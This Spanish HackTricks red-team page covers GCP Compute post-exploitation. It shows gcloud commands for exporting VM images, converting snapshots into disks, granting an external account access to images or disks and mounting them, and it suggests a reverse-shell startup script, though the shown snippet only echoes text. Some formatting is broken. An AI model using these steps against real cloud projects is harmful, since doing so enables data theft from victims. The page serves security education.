GCP - Compute Post Exploitation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Compute

Para más información sobre Compute y VPC (Networking) consulta:

GCP - Compute Enum

Exportar e inspeccionar imágenes localmente

Esto permitiría a un atacante acceder a los datos contenidos dentro de imágenes ya existentes o crear nuevas imágenes de VMs en ejecución y acceder a sus datos sin tener acceso a la VM en ejecución.

Es posible exportar una imagen de VM a un bucket y luego descargarla y montarla localmente con el comando:

Exportar y descargar imagen de VM ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Para realizar esta acción el atacante podría necesitar privilegios sobre el storage bucket y, con seguridad, privilegios sobre cloudbuild ya que es el servicio que se le va a pedir que realice la exportación
Además, para que esto funcione el codebuild SA y el compute SA necesitan permisos privilegiados.
El cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com necesita:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

Y el SA <project-id>-compute@developer.gserviceaccount.com necesita:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Exportar e inspeccionar Snapshots y Disks localmente

No es posible exportar directamente snapshots y discos, pero es posible transformar un snapshot en un disco, un disco en una imagen y siguiendo la sección anterior, exportar esa imagen para inspeccionarla localmente

Crear disco desde snapshot e imagen desde disco ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Inspeccionar una imagen creando una VM

Con el objetivo de acceder a los **datos almacenados en una imagen** o dentro de una **VM en ejecución** desde donde un atacante **ha creado una imagen,** es posible otorgar a una cuenta externa acceso sobre la imagen:

<details>

<summary>Otorgar acceso a la imagen y crear una VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

y luego crea una nueva VM a partir de ella:

Crear una VM instance a partir de image ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Si no puedes dar acceso a tu cuenta externa a la imagen, puedes lanzar una VM usando esa imagen en el proyecto de la víctima y hacer que los metadatos ejecuten un reverse shell para acceder a la imagen añadiendo el parámetro:

Create VM with reverse shell in metadata ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Inspeccionar un Snapshot/Disk adjuntándolo a una VM

Con el objetivo de acceder a los datos almacenados en un disk o un snapshot, puedes transformar el snapshot en un disk, un disk en una image y seguir los pasos previos.

O bien puedes conceder a una cuenta externa acceso sobre el disk (si el punto de partida es un snapshot, concede acceso al snapshot o crea un disk a partir de él):

Conceder acceso al disk ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Adjuntar el disco a una instancia:

Adjuntar disco a la instancia ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Montar el disco dentro de la VM:

  1. SSH a la VM:
SSH a la VM y montar el disco
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identificar el disco: Una vez dentro de la VM, identifica el nuevo disco listando los dispositivos de disco. Normalmente lo encontrarás como /dev/sdb, /dev/sdc, etc.
  2. Formatear y montar el disco (si es un disco nuevo o sin formato):
  • Crear un punto de montaje:
Crear punto de montaje y montar
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montar el disco:
Montar dispositivo de disco
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Si no puedes dar acceso a un proyecto externo al snapshot o disco, es posible que necesites realizar estas acciones dentro de una instancia en el mismo proyecto que el snapshot/disco.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks